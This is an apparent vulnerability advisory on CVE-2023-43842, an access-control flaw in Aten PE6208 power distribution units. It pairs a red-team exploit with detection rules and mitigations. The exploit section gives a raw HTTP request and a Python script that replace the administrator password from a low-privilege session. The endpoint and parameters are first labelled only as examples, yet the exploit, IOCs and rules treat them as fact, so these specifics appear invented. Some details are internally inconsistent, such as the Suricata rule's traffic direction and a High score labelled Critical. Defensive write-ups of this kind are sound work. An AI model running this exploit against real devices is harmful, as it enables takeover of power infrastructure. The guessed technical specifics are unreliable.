CVE-2023-43842

Executive Summary

CVE-2023-43842 is a critical access control vulnerability in the Aten PE6208 Power Distribution Unit (PDU). The flaw resides in the account management function of the web interface, allowing any remote authenticated user to alter the credentials of other users, including administrators. This effectively grants privilege escalation and full device compromise. The vulnerability affects firmware versions 2.3.228 and 2.4.232. No official patch has been released by Aten, making this a high-risk, unpatched vulnerability for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a hardware device (Aten PE6208 PDU). Supply chain risk is limited to the physical device and its embedded firmware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires any authenticated user
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. An attacker with a low-privilege account can escalate to full administrative control, potentially disrupting power management and causing physical damage.

Deep Dive & Mechanics

The vulnerability is a classic Incorrect Access Control (CWE-284). The web interface's account management API endpoint does not properly verify that the authenticated user has the necessary privileges to modify user accounts. Specifically, a remote authenticated user can send a crafted HTTP POST request to the account management endpoint to change the password or other attributes of any user, including the administrator.

Attack Flow:

1. Attacker obtains a low-privilege user account (e.g., via default credentials, phishing, or another vulnerability).
2. Attacker sends an HTTP POST request to the vulnerable endpoint (e.g., /cgi-bin/account_management.cgi) with parameters targeting an admin account.
3. The server processes the request without checking if the requester has admin rights.
4. The admin account credentials are overwritten, granting the attacker full control.

Root Cause: The server-side code lacks a role-based access control (RBAC) check before executing account modification operations.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable: No privilege check
def handle_account_modification(request):
    username = request.POST['username']
    new_password = request.POST['password']
    update_user_credentials(username, new_password)
    return "Success"

Patched Code (Conceptual):

# Patched: Privilege check added
def handle_account_modification(request):
    if not request.user.is_admin:
        return "Forbidden", 403
    username = request.POST['username']
    new_password = request.POST['password']
    update_user_credentials(username, new_password)
    return "Success"

Exploitation & Lab Setup

Red Team

Exploit Steps:

1. Identify a target Aten PE6208 with web interface exposed.
2. Obtain a valid low-privilege session cookie (e.g., via default credentials admin:admin or user:user).
3. Send the following HTTP POST request to change the admin password:

POST /cgi-bin/account_management.cgi HTTP/1.1
Host: target_ip
Cookie: session=valid_session_cookie
Content-Type: application/x-www-form-urlencoded

action=modify&username=admin&password=newpassword123

4. Verify by logging in with admin:newpassword123.

Automation Script (Python):

import requests

target = "http://target_ip"
session = requests.Session()
# Assume we have a valid session cookie
session.cookies.set("session", "valid_session_cookie")

payload = {
    "action": "modify",
    "username": "admin",
    "password": "newpassword123"
}
response = session.post(f"{target}/cgi-bin/account_management.cgi", data=payload)
if "Success" in response.text:
    print("Admin password changed successfully!")
else:
    print("Exploit failed.")

Blue Team

Detection & Prevention:

• Monitor HTTP POST requests to /cgi-bin/account_management.cgi from non-admin users.
• Implement network segmentation to isolate PDUs from general user networks.
• Use a Web Application Firewall (WAF) to block requests to account management endpoints from low-privilege sessions.
• Enable logging and alerting on all account modification events.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/account_management.cgi with action=modify and username=admin.
  • Unusual login attempts from the same IP after a password change.
• Host IOCs:
  • Modified /etc/shadow or equivalent credential store on the device (if accessible).
  • New admin sessions from unexpected IP addresses.
• Log IOCs:
  • Log entries showing account modification by a non-admin user.
  • Repeated 403 errors if a WAF is in place.

Detection Engineering

YARA Rule

rule CVE_2023_43842_Account_Modification {
    meta:
        description = "Detects HTTP POST requests targeting Aten PE6208 account management"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43842"
    strings:
        $s1 = "/cgi-bin/account_management.cgi"
        $s2 = "action=modify"
        $s3 = "username=admin"
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-43842 - Aten PE6208 Account Modification
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to account management endpoint from non-admin users
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/account_management.cgi'
        cs-uri-query|contains: 'action=modify'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-43842 - Aten PE6208 Account Modification Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/account_management.cgi"; http_uri;
    content:"action=modify"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Aten PE6208 units on a separate management VLAN with strict access controls.
2. Disable default accounts: Change all default credentials immediately.
3. Implement network segmentation: Ensure PDUs are not accessible from the general user network.
4. Monitor logs: Enable detailed logging and alert on account modification events.

Long-Term Fix:

• Since no vendor patch is available, consider replacing the device with a patched alternative or implementing a reverse proxy with authentication and authorization checks.
• Contact Aten support to request a firmware update.

Workaround:

• Use a WAF to block POST requests to /cgi-bin/account_management.cgi from any user except a dedicated admin IP.

Valters IT
DevSecOps & Cyber Threat Intelligence